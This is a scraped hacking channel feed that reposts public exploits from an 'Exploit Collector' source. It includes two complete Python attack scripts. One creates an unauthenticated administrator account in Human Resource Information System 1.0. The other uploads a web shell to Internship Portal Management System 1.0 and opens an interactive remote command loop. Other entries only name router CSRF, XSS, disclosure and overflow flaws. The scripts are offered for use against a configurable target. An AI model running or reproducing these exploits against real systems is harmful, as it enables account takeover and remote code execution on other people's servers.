Hacking Articles Tips Tricks Videos Tutorials

What the fuzz?! — The truth behind content discovery

Content discovery is an art. Let’s find out how to create this magic!Continue reading on Medium »
Read more...

10 views20:14

11 views21:12

Hacking Articles Tips Tricks Videos Tutorials

8 views21:12

Hacking Articles Tips Tricks Videos Tutorials

8 views21:12

Hacking Articles Tips Tricks Videos Tutorials

8 views21:12

Hacking Articles Tips Tricks Videos Tutorials

7 views21:12

Hacking Articles Tips Tricks Videos Tutorials

8 views21:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Human Resource Information System 1.0 Authentication Bypass / Account Creation

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
Human Resource Information System version 1.0 suffers from an unauthenticated administrative account creation vulnerability.

MD5 | 41eb1d3fba6ea3d4ddbbc36358daf7ad

Download

# Exploit Title: Human Resource Information System 1.0 - Create Admin Account (Unauthenticated)
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14714/human-resource-information-using-phpmysqliobject-orientedcomplete-free-sourcecode.html
# Version:1.0
# Tested on: windows 10 (build 19041) + xampp v3.2.4

#!/usr/bin/python3
import requests

BASEURL="http://localhost/HRI/" #Change Base url to target path
ADDURL="/Superadmin_Dashboard/process/addhradmin_process.php"
s = requests.Session()

print("\nHuman Resource Information System - Create Admin Account (Unauthenticated)")
print("Created On: 04/05/2021\nAuthor: Richard Jones\n")

print("[-] Checking Host")
r = s.get(BASEURL+ADDURL)
if not r.status_code == 200:
print("[!] Host Error, Check URL...")
exit(0)

print("[+] Creating Admin account")
data = {
"hr_companyid":"6544",
"hr_firstname":"admin",
"hr_lastname":"admin",
"hr_middlename":"admin",
"hr_contactno":"05555551231",
"hr_type":"HR Head",
"hr_email":"a@a.com",
"hr_password":"admin4",
"hr_admin":""
}

r = s.post(BASEURL+ADDURL, data=data)
if 'Insert Successfully!!!' in r.text:
print("[+] Account Created!")
print("[+] Login Credentials Created:\n a@a.com:admin4\n\n")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Human Resource Information System 1.0 Authentication Bypass / Account Creation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 21:12

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 21:12

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Shenzhen Skyworth RN510 Information Disclosure

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Shenzhen Skyworth RN510 Information Disclosure

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 21:12

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Shenzhen Skyworth RN510 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Shenzhen Skyworth RN510 Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 21:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Internship Portal Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Internship Portal Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 0e64d22b012cb716290ae978805da036

Download

# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
# Date: 2021-05-04
# Exploit Author: argenestel
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: Debian 10

import requests
import time

#change the url to the site running the vulnerable system
url="http://127.0.0.1:4000"
#burp proxy
proxies = {
"http": "http://127.0.0.1:8080",
}
#payload
payload=''

#the upload point
insert_url=url+"/inserty.php"

def fill_details():
global payload
global shellend
global shellstart
print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
#time start
shellstart=int(time.time())
#print(shellstart)
files  = {'file':('shell.php',payload,
'image/png', {'Content-Disposition': 'form-data'}
)
}
data = {
"company_name":"some",
"first_name":"some",
"last_name":"some",
"email":"some@some.com",
"gender":"Male",
"insert_button":"Apply",
"terms":"on"
}
r = requests.post(insert_url, data=data, files=files)
if r.status_code == 200:
print("Exploited Intern System Successfully...")
shellend = int(time.time())
#print(shellend)
shell()
else:
print("Exploit Failed")

def shell():
for shellname in range(shellstart, shellend+1):
shellstr=str(shellname)
shell_url=url+"/upload/"+shellstr+"_shell.php"
r = requests.get(shell_url)
if r.status_code == 200:
shell_url=url+"/upload/"+shellstr+"_shell.php"
break

r = requests.get(shell_url)
if r.status_code == 200:
print("Shell Starting...")
while True:
cmd=input("cmd$ ")
r = requests.get(shell_url+"?cmd="+cmd)
print(r.text)
else:
print("File Name Error")
fill_details()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Internship Portal Management System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 21:12

About

Blog

Apps

Platform